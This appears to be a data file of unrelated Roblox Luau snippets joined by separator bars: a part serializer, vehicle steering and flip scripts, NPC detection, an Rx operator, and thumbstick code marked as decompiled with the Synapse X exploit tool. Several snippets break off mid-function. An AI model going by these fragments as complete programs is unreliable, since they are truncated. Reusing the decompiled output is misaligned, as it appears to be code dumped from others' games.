Decal = 8,
PointLight = 9,
SpotLight = 10,
SurfaceLight = 11,
Smoke = 12,
Fire = 13,
Sparkles = 14,
Model = 15
};
local DefaultNames = {
Part = 'Part',
WedgePart = 'Wedge',
CornerWedgePart = 'CornerWedge',
VehicleSeat = 'VehicleSeat',
Seat = 'Seat',
TrussPart = 'Truss',
SpecialMesh = 'Mesh',
Texture = 'Texture',
Decal = 'Decal',
PointLight = 'PointLight',
SpotLight = 'SpotLight',
SurfaceLight = 'SurfaceLight',
Smoke = 'Smoke',
Fire = 'Fire',
Sparkles = 'Sparkles',
Model = 'Model'
};
function Serialization.SerializeModel(Items)
-- Returns a serialized version of the given model
-- Filter out non-serializable items in `Items`
local SerializableItems = {};
for Index, Item in ipairs(Items) do
table.insert(SerializableItems, Types[Item.ClassName] and Item or nil);
end;
Items = SerializableItems;
-- Get a snapshot of the content
local Keys = Support.FlipTable(Items);
local Data = {};
Data.Version = 3;
Data.Items = {};
-- Serialize each item in the model
for Index, Item in pairs(Items) do
if Item:IsA 'BasePart' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Size.X;
Datum[5] = Item.Size.Y;
Datum[6] = Item.Size.Z;
Support.ConcatTable(Datum, { Item.CFrame:components() });
Datum[19] = Item.Color.r;
Datum[20] = Item.Color.g;
Datum[21] = Item.Color.b;
Datum[22] = Item.Material.Value;
Datum[23] = Item.Anchored and 1 or 0;
Datum[24] = Item.CanCollide and 1 or 0;
Datum[25] = Item.Reflectance;
Datum[26] = Item.Transparency;
Datum[27] = Item.TopSurface.Value;
Datum[28] = Item.BottomSurface.Value;
Datum[29] = Item.FrontSurface.Value;
Datum[30] = Item.BackSurface.Value;
Datum[31] = Item.LeftSurface.Value;
Datum[32] = Item.RightSurface.Value;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'Part' then
local Datum = Data.Items[Index];
Datum[33] = Item.Shape.Value;
end;
if Item.ClassName == 'VehicleSeat' then
local Datum = Data.Items[Index];
Datum[33] = Item.MaxSpeed;
Datum[34] = Item.Torque;
Datum[35] = Item.TurnSpeed;
end;
if Item.ClassName == 'TrussPart' then
local Datum = Data.Items[Index];
Datum[33] = Item.Style.Value;
end;
if Item.ClassName == 'SpecialMesh' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.MeshType.Value;
Datum[5] = Item.MeshId;
Datum[6] = Item.TextureId;
Datum[7] = Item.Offset.X;
Datum[8] = Item.Offset.Y;
Datum[9] = Item.Offset.Z;
Datum[10] = Item.Scale.X;
Datum[11] = Item.Scale.Y;
Datum[12] = Item.Scale.Z;
Datum[13] = Item.VertexColor.X;
Datum[14] = Item.VertexColor.Y;
Datum[15] = Item.VertexColor.Z;
Data.Items[Index] = Datum;
end;
if Item:IsA 'Decal' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Texture;
Datum[5] = Item.Transparency;
Datum[6] = Item.Face.Value;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'Texture' then
local Datum = Data.Items[Index];
Datum[7] = Item.StudsPerTileU;
Datum[8] = Item.StudsPerTileV;
end;
if Item:IsA 'Light' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Brightness;
Datum[5] = Item.Color.r;
Datum[6] = Item.Color.g;
Datum[7] = Item.Color.b;
Datum[8] = Item.Enabled and 1 or 0;
Datum[9] = Item.Shadows and 1 or 0;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'PointLight' then
local Datum = Data.Items[Index];
Datum[10] = Item.Range;
end;
if Item.ClassName == 'SpotLight' then
local Datum = Data.Items[Index];
Datum[10] = Item.Range;
Datum[11] = Item.Angle;
Datum[12] = Item.Face.Value;
end;
if Item.ClassName == 'SurfaceLight' then
local Datum = Data.Items[Index];
Datum[10] = Item.Range;
Datum[11] = Item.Angle;
Datum[12] = Item.Face.Value;
end;
if Item.ClassName == 'Smoke' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Enabled and 1 or 0;
Datum[5] = Item.Color.r;
Datum[6] = Item.Color.g;
Datum[7] = Item.Color.b;
Datum[8] = Item.Size;
Datum[9] = Item.RiseVelocity;
Datum[10] = Item.Opacity;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'Fire' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Enabled and 1 or 0;
Datum[5] = Item.Color.r;
Datum[6] = Item.Color.g;
Datum[7] = Item.Color.b;
Datum[8] = Item.SecondaryColor.r;
Datum[9] = Item.SecondaryColor.g;
Datum[10] = Item.SecondaryColor.b;
Datum[11] = Item.Heat;
Datum[12] = Item.Size;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'Sparkles' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.Enabled and 1 or 0;
Datum[5] = Item.SparkleColor.r;
Datum[6] = Item.SparkleColor.g;
Datum[7] = Item.SparkleColor.b;
Data.Items[Index] = Datum;
end;
if Item.ClassName == 'Model' then
local Datum = {};
Datum[1] = Types[Item.ClassName];
Datum[2] = Keys[Item.Parent] or 0;
Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name;
Datum[4] = Item.PrimaryPart and Keys[Item.PrimaryPart] or 0;
Data.Items[Index] = Datum;
end;
-- Spread the workload over time to avoid locking up the CPU
if Index % 100 == 0 then
wait(0.01);
end;
end;
-- Return the serialized data
return HttpService:JSONEncode(Data);
end;
function Serialization.InflateBuildData(Data)
-- Returns an inflated version of the given build data
local Build = {};
local Instances = {};
-- Create each instance
for Index, Datum in ipairs(Data.Items) do
-- Inflate BaseParts
if Datum[1] == Types.Part
or Datum[1] == Types.WedgePart
or Datum[1] == Types.CornerWedgePart
or Datum[1] == Types.VehicleSeat
or Datum[1] == Types.Seat
or Datum[1] == Types.TrussPart
then
local Item = Instance.new(Support.FindTableOccurrence(Types, Datum[1]));
Item.Size = Vector3.new(unpack(Support.Slice(Datum, 4, 6)));
Item.CFrame = CFrame.new(unpack(Support.Slice(Datum, 7, 18)));
Item.Color = Color3.new(Datum[19], Datum[20], Datum[21]);
Item.Material = Datum[22];
Item.Anchored = Datum[23] == 1;
Item.CanCollide = Datum[24] == 1;
Item.Reflectance = Datum[25];
Item.Transparency = Datum[26];
Item.TopSurface = Datum[27];
Item.BottomSurface = Datum[28];
Item.FrontSurface = Datum[29];
Item.BackSurface = Datum[30];
Item.LeftSurface = Datum[31];
Item.RightSurface = Datum[32];
-- Register the part
Instances[Index] = Item;
end;
-- Inflate specific Part properties
if Datum[1] == Types.Part then
local Item = Instances[Index];
Item.Shape = Datum[33];
end;
-- Inflate specific VehicleSeat properties
if Datum[1] == Types.VehicleSeat then
local Item = Instances[Index];
Item.MaxSpeed = Datum[33];
Item.Torque = Datum[34];
Item.TurnSpeed = Datum[35];
end;
-- Inflate specific TrussPart properties
if Datum[1] == Types.TrussPart then
local Item = Instances[Index];
Item.Style = Datum[33];
end;
-- Inflate SpecialMesh instances
if Datum[1] == Types.SpecialMesh then
local Item = Instance.new('SpecialMesh');
Item.MeshType = Datum[4];
Item.MeshId = Datum[5];
Item.TextureId = Datum[6];
Item.Offset = Vector3.new(unpack(Support.Slice(Datum, 7, 9)));
Item.Scale = Vector3.new(unpack(Support.Slice(Datum, 10, 12)));
Item.VertexColor = Vector3.new(unpack(Support.Slice(Datum, 13, 15)));
-- Register the mesh
Instances[Index] = Item;
end;
-- Inflate Decal instances
if Datum[1] == Types.Decal or Datum[1] == Types.Texture then
local Item = Instance.new(Support.FindTableOccurrence(Types, Datum[1]));
Item.Texture = Datum[4];
Item.Transparency = Datum[5];
Item.Face = Datum[6];
-- Register the Decal
Instances[Index] = Item;
end;
-- Inflate specific Texture properties
if Datum[1] == Types.Texture then
local Item = Instances[Index];
Item.StudsPerTileU = Datum[7];
Item.StudsPerTileV = Datum[8];
end;
-- Inflate Light instances
if Datum[1] == Types.PointLight
or Datum[1] == Types.SpotLight
or Datum[1] == Types.SurfaceLight
then
local Item = Instance.new(Support.FindTableOccurrence(Types, Datum[1]));
Item.Brightness = Datum[4];
Item.Color = Color3.new(unpack(Support.Slice(Datum, 5, 7)));
Item.Enabled = Datum[8] == 1;
Item.Shadows = Datum[9] == 1;
-- Register the light
Instances[Index] = Item;
end;
-- Inflate specific PointLight properties
if Datum[1] == Types.PointLight then
local Item = Instances[Index];
Item.Range = Datum[10];
end;
-- Inflate specific SpotLight properties
if Datum[1] == Types.SpotLight then
local Item = Instances[Index];
Item.Range = Datum[10];
Item.Angle = Datum[11];
Item.Face = Datum[12];
end;
-- Inflate specific SurfaceLight properties
if Datum[1] == Types.SurfaceLight then
local Item = Instances[Index];
Item.Range = Datum[10];
Item.Angle = Datum[11];
Item.Face = Datum[12];
end;
-- Inflate Smoke instances
if Datum[1] == Types.Smoke then
local Item = Instance.new('Smoke');
Item.Enabled = Datum[4] == 1;
Item.Color = Color3.new(unpack(Support.Slice(Datum, 5, 7)));
Item.Size = Datum[8];
Item.RiseVelocity = Datum[9];
Item.Opacity = Datum[10];
-- Register the smoke
Instances[Index] = Item;
end;
-- Inflate Fire instances
if Datum[1] == Types.Fire then
local Item = Instance.new('Fire');
Item.Enabled = Datum[4] == 1;
Item.Color = Color3.new(unpack(Support.Slice(Datum, 5, 7)));
Item.SecondaryColor = Color3.new(unpack(Support.Slice(Datum, 8, 10)));
Item.Heat = Datum[11];
Item.Size = Datum[12];
-- Register the fire
Instances[Index] = Item;
end;
-- Inflate Sparkles instances
if Datum[1] == Types.Sparkles then
local Item = Instance.new('Sparkles');
Item.Enabled = Datum[4] == 1;
Item.SparkleColor = Color3.new(unpack(Support.Slice(Datum, 5, 7)));
-- Register the instance
Instances[Index] = Item;
end;
-- Inflate Model instances
if Datum[1] == Types.Model then
local Item = Instance.new('Model');
-- Register the model
Instances[Index] = Item;
end;
end;
-- Set object values on each instance
for Index, Datum in pairs(Data.Items) do
-- Get the item's instance
local Item = Instances[Index];
-- Set each item's parent and name
if Item and Datum[1] <= 15 then
Item.Name = (Datum[3] == '') and DefaultNames[Item.ClassName] or Datum[3];
if Datum[2] == 0 then
table.insert(Build, Item);
else
Item.Parent = Instances[Datum[2]];
end;
end;
-- Set model primary parts
if Item and Datum[1] == 15 then
Item.PrimaryPart = (Datum[4] ~= 0) and Instances[Datum[4]] or nil;
end;
end;
-- Return the model
return Build;
end;
|
-- Set initial colors |
light_L.BrickColor = lightColor_off
light_R.BrickColor = lightColor_off
brake_L.BrickColor = brakeColor_off
brake_R.BrickColor = brakeColor_off
smoke.Enabled = false
fire.Enabled = false
print("JeepScript: connecting events...")
seat.ChildAdded:connect(seatChildAddedHandler)
seat.ChildRemoved:connect(seatChildRemovedHandler)
seat.Changed:connect(seatChangedHandler)
print("JeepScript: events connected.")
while true do
-- Every 15 seconds, poll if jeep has turned upside down. If true, then flip back upright.
if(vehicleSeatBack.CFrame.lookVector.y <= 0.707) then
print("Jeep is flipped. Flipping right side up...")
gyro.cframe = CFrame.new( Vector3.new(0,0,0), Vector3.new(0,1,0) )
gyro.maxTorque = Vector3.new(1000, 1000, 1000)
wait(2)
gyro.maxTorque = Vector3.new(0,0,0)
end
wait(8)
end
|
-- Water off |
faucet.WaterOffSet.Interactive.ClickDetector.MouseClick:Connect(function()
faucet.Handle:SetPrimaryPartCFrame(faucet.HandleBase.CFrame)
p.HotOn.Value = false
p.ColdOn.Value = false
end)
|
--[=[
Takes n entries and then completes the observation.
https://rxjs.dev/api/operators/take
@param number number
@return (source: Observable<T>) -> Observable<T>
]=] |
function Rx.take(number)
assert(type(number) == "number", "Bad number")
assert(number > 0, "Bad number")
return function(source)
assert(Observable.isObservable(source), "Bad observable")
return Observable.new(function(sub)
local taken = 0
local maid = Maid.new()
maid:GiveTask(source:Subscribe(function(...)
if taken >= number then
warn("[Rx.take] - Still getting values past subscription")
return
end
taken = taken + 1
sub:Fire(...)
if taken >= number then
sub:Complete()
end
end, sub:GetFailComplete()))
return maid
end)
end
end
|
--// Main Loop |
RunService.RenderStepped:Connect(function()
if Detected == false and Chatting == false then
for i, NPC in pairs(NPCS:GetChildren()) do
local Humanoid = NPC:FindFirstChild("Humanoid")
local HMR = NPC:FindFirstChild("HumanoidRootPart")
if Humanoid and HMR then
if (HMR.Position - CharHMR.Position).magnitude < 15 then
Detected = true
DetectedNPC = NPC
PromptLabel:TweenSize(UDim2.new(0, 60, 0, 60), "In", "Linear", 0.2)
print(NPC.Name)
end
end
end
end
if Detected == true and Chatting == false then
local Humanoid = DetectedNPC:FindFirstChild("Humanoid")
local HMR = DetectedNPC:FindFirstChild("HumanoidRootPart")
if Humanoid and HMR then
if (HMR.Position - CharHMR.Position).magnitude > 15 then
Detected = false
DetectedNPC = nil
PromptLabel:TweenSize(UDim2.new(0, 0, 0, 0), "Out", "Linear", 0.2)
print("No Longer Detected NPC")
else
local WTSP = Camera:WorldToScreenPoint(HMR.Position)
PromptLabel.Position = UDim2.new(0, WTSP.X, 0, WTSP.Y)
end
end
end
if Chatting == true then
local Humanoid = DetectedNPC:FindFirstChild("Humanoid")
local HMR = DetectedNPC:FindFirstChild("HumanoidRootPart")
if Humanoid and HMR then
Camera.CameraType = Enum.CameraType.Scriptable
Camera.CFrame = Camera.CFrame:Lerp(HMR.CFrame * CFrame.new(-4, 4, -7) * CFrame.fromOrientation(math.rad(-20), math.rad(215), 0), 0.07)
end
else
Camera.CameraType = Enum.CameraType.Custom
end
end)
|
-- DefaultValue for spare ammo |
local SpareAmmo = 60000 |
----------------------------------------------------------------[SS6] TO ADJUST ANY OF THE STEERING OPTIONS, GO TO LINE 66 "--change" |
ssl = carSeat.Parent.Parent.LW.WheelML
ssr = carSeat.Parent.Parent.RW.WheelMR
strlckL = 1
strlckR = 1
strspd = script.Parent.Storage.SteerSpeed.Value
strprg = 0
maxlockL = carSeat.Storage.SteeringAngle.Value
maxlockR = carSeat.Storage.SteeringAngle.Value
m = false occ = false n = false
steer = 0
if carSeat.Steer == 1 then
strlckL = math.rad(maxlockL+4)
strlckR = math.rad(maxlockR+6)
elseif carSeat.Steer == -1 then
strlckL = math.rad(maxlockL+6)
strlckR = math.rad(maxlockR+4)
end
while wait() do
spd = carSeat.Velocity.Magnitude
--steer = (steer+((carSeat.Steer-steer)*strspd))
carSeat.Parent.Parent.LW.WheelML.Gyro.cframe = carSeat.Parent.ref.CFrame * CFrame.Angles(0,((-1*steer)*strlckL)*(strprg/(spd+strprg)),0)
carSeat.Parent.Parent.RW.WheelMR.Gyro.cframe = carSeat.Parent.ref.CFrame * CFrame.Angles(0,((-1*steer)*strlckR)*(strprg/(spd+strprg)),0)
carSeat.Parent.Parent.LW.ML.HingeConstraint.MotorMaxTorque = 0
carSeat.Parent.Parent.RW.MR.HingeConstraint.MotorMaxTorque = 0
wheelangle = (carSeat.Parent.ref.Orientation.Y)-(carSeat.Parent.Parent.RW.WheelMR.Orientation.Y) --print(wheelangle)
if script.Parent.Storage.Control.Value ~= "Controller" then
steer = (steer+((carSeat.Steer-steer)*strspd))
if carSeat.Steer == -1 then
if wheelangle > 0 then
strspd = script.Parent.Storage.SteerSpeed.Value*5.5
else strspd = script.Parent.Storage.SteerSpeed.Value print("R1")
end
elseif carSeat.Steer == 1 then
if wheelangle < 0 then
strspd = script.Parent.Storage.SteerSpeed.Value*5.5
else strspd = script.Parent.Storage.SteerSpeed.Value print("R2")
end
elseif carSeat.Steer == 0 then
strspd = script.Parent.Storage.SteerSpeed.Value*5.5
else strspd = script.Parent.Storage.SteerSpeed.Value print("R3")
end
end
if carSeat.Throttle == 0 then
--strspd = script.Parent.Storage.SteerSpeed.Value*4.3
end
ssl.Gyro.D = damp
ssl.Gyro.maxTorque = Vector3.new(0,maxtq,0)
ssl.Gyro.P = pw
ssr.Gyro.D = damp
ssr.Gyro.maxTorque = Vector3.new(0,maxtq,0)
ssr.Gyro.P = pw
strprg = 160
if carSeat.Storage.Mode == "City" then
ty = 0.005
else
ty = 1
end
if script.Parent.Storage.CurrentGear.Value == 2 and carSeat.Steer == 0 then
damp = 800
maxtq = 30000
pw = 100000
else
damp = 1000 --change
maxtq = 3000 --change
pw = 10000 --change
end
--if script.Parent.Storage.CurrentGear.Value == 2 and carSeat.Steer == 0 then
--if m == false then
-- m = true occ = true n = true |
-- Decompiled with the Synapse X Luau decompiler. |
local u1 = nil;
coroutine.wrap(function()
u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
end)();
return function(p1)
return 1 - u1.Functions.Erfc(p1);
end;
|
--[=[
Gets the delta screen position of the mouse. In other words, the
distance the mouse has traveled away from its locked position in
a given frame (see note about mouse locking below).
:::info Only When Mouse Locked
Getting the mouse delta is only intended for when the mouse is locked. If the
mouse is _not_ locked, this will return a zero Vector2. The mouse can be locked
using the `mouse:Lock()` and `mouse:LockCenter()` method.
]=] |
function Mouse:GetDelta(): Vector2
return UserInputService:GetMouseDelta()
end
|
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = { 0.10999999999999999, 0.30000000000000004, 0.4, 0.5, 0.6, 0.7, 0.75 };
local l__Players__2 = game:GetService("Players");
local l__GuiService__3 = game:GetService("GuiService");
local l__UserInputService__4 = game:GetService("UserInputService");
local l__RunService__5 = game:GetService("RunService");
local v6 = l__Players__2.LocalPlayer;
if not v6 then
l__Players__2:GetPropertyChangedSignal("LocalPlayer"):Wait();
v6 = l__Players__2.LocalPlayer;
end;
local v7 = require(script.Parent:WaitForChild("BaseCharacterController"));
local v8 = setmetatable({}, v7);
v8.__index = v8;
function v8.new()
local v9 = setmetatable(v7.new(), v8);
v9.moveTouchObject = nil;
v9.moveTouchLockedIn = false;
v9.moveTouchFirstChanged = false;
v9.moveTouchStartPosition = nil;
v9.startImage = nil;
v9.endImage = nil;
v9.middleImages = {};
v9.startImageFadeTween = nil;
v9.endImageFadeTween = nil;
v9.middleImageFadeTweens = {};
v9.isFirstTouch = true;
v9.thumbstickFrame = nil;
v9.onRenderSteppedConn = nil;
v9.fadeInAndOutBalance = 0.5;
v9.fadeInAndOutHalfDuration = 0.3;
v9.hasFadedBackgroundInPortrait = false;
v9.hasFadedBackgroundInLandscape = false;
v9.tweenInAlphaStart = nil;
v9.tweenOutAlphaStart = nil;
return v9;
end;
function v8.GetIsJumping(p1)
p1.isJumping = false;
return p1.isJumping;
end;
local l__ContextActionService__1 = game:GetService("ContextActionService");
function v8.Enable(p2, p3, p4)
if p3 == nil then
return false;
end;
if p3 then
local v10 = true;
else
v10 = false;
end;
p3 = v10;
if p2.enabled == p3 then
return true;
end;
if p3 then
if not p2.thumbstickFrame then
p2:Create(p4);
end;
p2:BindContextActions();
else
l__ContextActionService__1:UnbindAction("DynamicThumbstickAction");
p2:OnInputEnded();
end;
p2.enabled = p3;
p2.thumbstickFrame.Visible = p3;
return nil;
end;
local u2 = Vector3.new(0, 0, 0);
function v8.OnInputEnded(p5)
p5.moveTouchObject = nil;
p5.moveVector = u2;
p5:FadeThumbstick(false);
end;
local l__TweenService__3 = game:GetService("TweenService");
local u4 = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut);
function v8.FadeThumbstick(p6, p7)
if not p7 and p6.moveTouchObject then
return;
end;
if p6.isFirstTouch then
return;
end;
if p6.startImageFadeTween then
p6.startImageFadeTween:Cancel();
end;
if p6.endImageFadeTween then
p6.endImageFadeTween:Cancel();
end;
for v11 = 1, #p6.middleImages do
if p6.middleImageFadeTweens[v11] then
p6.middleImageFadeTweens[v11]:Cancel();
end;
end;
if not p7 then
p6.startImageFadeTween = l__TweenService__3:Create(p6.startImage, u4, {
ImageTransparency = 1
});
p6.startImageFadeTween:Play();
p6.endImageFadeTween = l__TweenService__3:Create(p6.endImage, u4, {
ImageTransparency = 1
});
p6.endImageFadeTween:Play();
for v12 = 1, #p6.middleImages do
p6.middleImageFadeTweens[v12] = l__TweenService__3:Create(p6.middleImages[v12], u4, {
ImageTransparency = 1
});
p6.middleImageFadeTweens[v12]:Play();
end;
return;
end;
p6.startImageFadeTween = l__TweenService__3:Create(p6.startImage, u4, {
ImageTransparency = 0
});
p6.startImageFadeTween:Play();
p6.endImageFadeTween = l__TweenService__3:Create(p6.endImage, u4, {
ImageTransparency = 0.2
});
p6.endImageFadeTween:Play();
for v13 = 1, #p6.middleImages do
p6.middleImageFadeTweens[v13] = l__TweenService__3:Create(p6.middleImages[v13], u4, {
ImageTransparency = v1[v13]
});
p6.middleImageFadeTweens[v13]:Play();
end;
end;
function v8.FadeThumbstickFrame(p8, p9, p10)
p8.fadeInAndOutHalfDuration = p9 * 0.5;
p8.fadeInAndOutBalance = p10;
p8.tweenInAlphaStart = tick();
end;
function v8.InputInFrame(p11, p12)
local l__AbsolutePosition__14 = p11.thumbstickFrame.AbsolutePosition;
local v15 = l__AbsolutePosition__14 + p11.thumbstickFrame.AbsoluteSize;
local l__Position__16 = p12.Position;
if l__AbsolutePosition__14.X <= l__Position__16.X and l__AbsolutePosition__14.Y <= l__Position__16.Y and l__Position__16.X <= v15.X and l__Position__16.Y <= v15.Y then
return true;
end;
return false;
end;
function v8.DoFadeInBackground(p13)
local v17 = v6:FindFirstChildOfClass("PlayerGui");
local v18 = false;
if v17 then
if v17.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeLeft or v17.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeRight then
v18 = p13.hasFadedBackgroundInLandscape;
p13.hasFadedBackgroundInLandscape = true;
elseif v17.CurrentScreenOrientation == Enum.ScreenOrientation.Portrait then
v18 = p13.hasFadedBackgroundInPortrait;
p13.hasFadedBackgroundInPortrait = true;
end;
end;
if not v18 then
p13.fadeInAndOutHalfDuration = 0.3;
p13.fadeInAndOutBalance = 0.5;
p13.tweenInAlphaStart = tick();
end;
end;
function v8.DoMove(p14, p15)
if p15.Magnitude < p14.radiusOfDeadZone then
local v19 = u2;
else
local v20 = p15.Unit * (1 - math.max(0, (p14.radiusOfMaxSpeed - p15.Magnitude) / p14.radiusOfMaxSpeed));
v19 = Vector3.new(v20.X, 0, v20.Y);
end;
p14.moveVector = v19;
end;
local u5 = #v1;
function v8.LayoutMiddleImages(p16, p17, p18)
local v21 = p16.thumbstickSize / 2 + p16.middleSize;
local v22 = p18 - p17;
local v23 = v22.Magnitude - p16.thumbstickRingSize / 2 - p16.middleSize;
local l__Unit__24 = v22.Unit;
local v25 = p16.middleSpacing;
if p16.middleSpacing * u5 < v23 then
v25 = v23 / u5;
end;
for v26 = 1, u5 do
local v27 = nil;
v27 = p16.middleImages[v26];
local v28 = v21 + v25 * (v26 - 1);
if v21 + v25 * (v26 - 2) < v23 then
local v29 = p18 - l__Unit__24 * v28;
local v30 = math.clamp(1 - (v28 - v23) / v25, 0, 1);
v27.Visible = true;
v27.Position = UDim2.new(0, v29.X, 0, v29.Y);
v27.Size = UDim2.new(0, p16.middleSize * v30, 0, p16.middleSize * v30);
else
v27.Visible = false;
end;
end;
end;
function v8.MoveStick(p19, p20)
local v31 = Vector2.new(p19.moveTouchStartPosition.X, p19.moveTouchStartPosition.Y) - p19.thumbstickFrame.AbsolutePosition;
local v32 = Vector2.new(p20.X, p20.Y) - p19.thumbstickFrame.AbsolutePosition;
p19.endImage.Position = UDim2.new(0, v32.X, 0, v32.Y);
p19:LayoutMiddleImages(v31, v32);
end;
local l__Value__6 = Enum.ContextActionPriority.High.Value;
function v8.BindContextActions(p21)
local function u7(p22)
if p21.moveTouchObject then
return Enum.ContextActionResult.Pass;
end;
if not p21:InputInFrame(p22) then
return Enum.ContextActionResult.Pass;
end;
if p21.isFirstTouch then
p21.isFirstTouch = false;
local v33 = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out, 0, false, 0);
l__TweenService__3:Create(p21.startImage, v33, {
Size = UDim2.new(0, 0, 0, 0)
}):Play();
l__TweenService__3:Create(p21.endImage, v33, {
Size = UDim2.new(0, p21.thumbstickSize, 0, p21.thumbstickSize),
ImageColor3 = Color3.new(0, 0, 0)
}):Play();
end;
p21.moveTouchLockedIn = false;
p21.moveTouchObject = p22;
p21.moveTouchStartPosition = p22.Position;
p21.moveTouchFirstChanged = true;
p21:DoFadeInBackground();
return Enum.ContextActionResult.Pass;
end;
local function u8(p23)
if p23 ~= p21.moveTouchObject then
return Enum.ContextActionResult.Pass;
end;
if p21.moveTouchFirstChanged then
p21.moveTouchFirstChanged = false;
local v34 = Vector2.new(p23.Position.X - p21.thumbstickFrame.AbsolutePosition.X, p23.Position.Y - p21.thumbstickFrame.AbsolutePosition.Y);
p21.startImage.Visible = true;
p21.startImage.Position = UDim2.new(0, v34.X, 0, v34.Y);
p21.endImage.Visible = true;
p21.endImage.Position = p21.startImage.Position;
p21:FadeThumbstick(true);
p21:MoveStick(p23.Position);
end;
p21.moveTouchLockedIn = true;
local v35 = Vector2.new(p23.Position.X - p21.moveTouchStartPosition.X, p23.Position.Y - p21.moveTouchStartPosition.Y);
if math.abs(v35.X) > 0 or math.abs(v35.Y) > 0 then
p21:DoMove(v35);
p21:MoveStick(p23.Position);
end;
return Enum.ContextActionResult.Sink;
end;
l__ContextActionService__1:BindActionAtPriority("DynamicThumbstickAction", function(p24, p25, p26)
if p25 == Enum.UserInputState.Begin then
return u7(p26);
end;
if p25 == Enum.UserInputState.Change then
return u8(p26);
end;
if p25 ~= Enum.UserInputState.End then
if p25 == Enum.UserInputState.Cancel then
p21:OnInputEnded();
end;
return;
end;
if p26 == p21.moveTouchObject then
p21:OnInputEnded();
if p21.moveTouchLockedIn then
return Enum.ContextActionResult.Sink;
end;
end;
return Enum.ContextActionResult.Pass;
end, false, l__Value__6, Enum.UserInputType.Touch);
end;
function v8.Create(p27, p28)
if p27.thumbstickFrame then
p27.thumbstickFrame:Destroy();
p27.thumbstickFrame = nil;
if p27.onRenderSteppedConn then
p27.onRenderSteppedConn:Disconnect();
p27.onRenderSteppedConn = nil;
end;
end;
p27.thumbstickSize = 45;
p27.thumbstickRingSize = 20;
p27.middleSize = 10;
p27.middleSpacing = p27.middleSize + 4;
p27.radiusOfDeadZone = 2;
p27.radiusOfMaxSpeed = 20;
local l__AbsoluteSize__36 = p28.AbsoluteSize;
if math.min(l__AbsoluteSize__36.X, l__AbsoluteSize__36.Y) > 500 then
p27.thumbstickSize = p27.thumbstickSize * 2;
p27.thumbstickRingSize = p27.thumbstickRingSize * 2;
p27.middleSize = p27.middleSize * 2;
p27.middleSpacing = p27.middleSpacing * 2;
p27.radiusOfDeadZone = p27.radiusOfDeadZone * 2;
p27.radiusOfMaxSpeed = p27.radiusOfMaxSpeed * 2;
end;
local function v37(p29)
if p29 then
p27.thumbstickFrame.Size = UDim2.new(1, 0, 0.4, 0);
p27.thumbstickFrame.Position = UDim2.new(0, 0, 0.6, 0);
return;
end;
p27.thumbstickFrame.Size = UDim2.new(0.4, 0, 0.6666666666666666, 0);
p27.thumbstickFrame.Position = UDim2.new(0, 0, 0.3333333333333333, 0);
end;
p27.thumbstickFrame = Instance.new("Frame");
p27.thumbstickFrame.BorderSizePixel = 0;
p27.thumbstickFrame.Name = "DynamicThumbstickFrame";
p27.thumbstickFrame.Visible = false;
p27.thumbstickFrame.BackgroundTransparency = 1;
p27.thumbstickFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0);
p27.thumbstickFrame.Active = false;
v37(false);
p27.startImage = Instance.new("ImageLabel");
p27.startImage.Name = "ThumbstickStart";
p27.startImage.Visible = true;
p27.startImage.BackgroundTransparency = 1;
p27.startImage.Image = "rbxasset://textures/ui/Input/TouchControlsSheetV2.png";
p27.startImage.ImageRectOffset = Vector2.new(1, 1);
p27.startImage.ImageRectSize = Vector2.new(144, 144);
p27.startImage.ImageColor3 = Color3.new(0, 0, 0);
p27.startImage.AnchorPoint = Vector2.new(0.5, 0.5);
p27.startImage.Position = UDim2.new(0, p27.thumbstickRingSize * 3.3, 1, -p27.thumbstickRingSize * 2.8);
p27.startImage.Size = UDim2.new(0, p27.thumbstickRingSize * 3.7, 0, p27.thumbstickRingSize * 3.7);
p27.startImage.ZIndex = 10;
p27.startImage.Parent = p27.thumbstickFrame;
p27.endImage = Instance.new("ImageLabel");
p27.endImage.Name = "ThumbstickEnd";
p27.endImage.Visible = true;
p27.endImage.BackgroundTransparency = 1;
p27.endImage.Image = "rbxasset://textures/ui/Input/TouchControlsSheetV2.png";
p27.endImage.ImageRectOffset = Vector2.new(1, 1);
p27.endImage.ImageRectSize = Vector2.new(144, 144);
p27.endImage.AnchorPoint = Vector2.new(0.5, 0.5);
p27.endImage.Position = p27.startImage.Position;
p27.endImage.Size = UDim2.new(0, p27.thumbstickSize * 0.8, 0, p27.thumbstickSize * 0.8);
p27.endImage.ZIndex = 10;
p27.endImage.Parent = p27.thumbstickFrame;
for v38 = 1, u5 do
p27.middleImages[v38] = Instance.new("ImageLabel");
